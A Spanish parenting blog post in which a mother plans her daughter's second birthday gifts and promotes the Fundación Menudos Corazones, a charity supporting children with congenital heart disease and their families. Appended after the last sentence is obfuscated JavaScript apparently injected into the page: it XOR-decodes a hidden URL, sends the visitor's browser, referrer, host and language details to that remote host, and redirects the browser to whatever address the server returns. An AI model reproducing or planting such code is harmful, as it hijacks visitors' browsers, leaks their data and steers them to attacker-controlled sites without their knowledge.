En un par de semanas será el cumpleaños de mi hija Ana. Ya dos años, ¡cómo pasa el tiempo! Su hermana Elena, papá y mamá andamos buscando regalo para repartir entre sus compañeros de guardería. Estamos ya a mitad de curso, casi rozando la recta final y se ha dado de todo, o casi de todo: pegatinas, pelotas, cuentos, peluches… Así que le he propuesto a mi familia que quizás podríamos hacer un regalo diferente, pero sobre todo con corazón.
Llevamos un ritmo de vida tan acelerado que no nos da tiempo a pararnos a pensar muchas veces por qué hacemos las cosas o con que fin. Simplemente nos levantamos por la mañana con el chip puesto y empezamos con nuestra rutina: prepara el desayuno, deja a los niños en el cole, coge el metro -que no esté estropeado, ¡por Dios!-, llega corriendo al trabajo, pásate por la farmacia a por las recetas, recoge a los peques de las extraescolares… Con tanto ajetreo, nos olvidamos muchas veces de que, a las pequeñas acciones que realizamos a diario, podemos sumarle algo más, un punto de solidaridad. Y esto lo he descubierto a través de la Fundación Menudos Corazones, una entidad sin ánimo de lucro que lleva cerca de 15 años brindando ayuda a niños y jóvenes con cardiopatías congénitas (más de 4.000 niños nacen cada año en España con problemas de corazón, el defecto congénito de mayor incidencia en nuestro país que afecta a ocho de cada mil bebés nacidos) , así como a sus familias, tanto en el contexto del hospital como en su día a día. En este sentido, y según explica Amaya Sáez, directora de la fundación, “desde Menudos Corazones se desarrollan programas gratuitos, de ámbito nacional, como la atención psicológica personalizada y el apoyo al duelo; el acompañamiento y las actividades lúdico-educativas a los niños en hospitales; el alojamiento para familias que han de desplazarse a Madrid por hospitalización de sus hijos; el servicio de información, de gran utilidad para los afectados y sus familiares…”. Y, a su vez, añade: “También se organizan actividades de ocio y tiempo libre adaptadas para niños y adolescentes con cardiopatías, que fomentan la integración, así como un proyecto específico para jóvenes mayores de 18 años”.
Una labor, sobra decir, más que necesaria y en la que, tengamos o no algún familiar directo, amigo o conocido, podemos siempre echar una mano de maneras tan sencillas como seguirles en redes sociales (Twitter: @MenudosMenudos o Facebook: Fundación Menudos Corazones) y compartiendo en nuestros perfiles lo que hacen, implicando a nuestra empresa en los programas de apoyo en forma de tiempo (voluntariado coorporativo), y con donaciones, por ejemplo, “con el redondeo de céntimos de la nómina o con una campaña interna, hacia los empleados, o enfocada a los clientes”, comenta su directora, convirtiéndonos en voluntarios y/o aportando una cantidad de dinero cada mes. Pero, ¿y si involucramos a nuestros hijos y les vamos poco a poco educando en valores como la solidaridad, la tolerancia, el respeto o la ayuda a los demás? Les podemos mostrar que, repartiendo un regalo coorporativo de la Fundación Menudos Corazones (huchas, llaveros, camisetas, tazas, mochilas) entre sus amigos del cole están todos -compis de clase, profesores y padres- ayudando a que el corazón de otros niños lata con más fuerza.
En la familia de Menudos Corazones cada pequeño tiene su propia historia. “Imagina un niño de ocho años que lleva catorce meses sin salir del hospital, un bebé de meses que nunca ha salido de la UCI pediátrica o una adolescente que la primera noche que pasa en nuestro campamento comenta que es la primera de su vida que no duerme bajo el mismo techo que sus padres”, cuenta su directora.
Actualmente, la Fundación cuenta con unos 1.900 socios. Sin embargo, para atender a todos los niños con cardiopatías y a sus familias se necesitan muchos latidos de solidaridad. ¿Te apuntas?var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}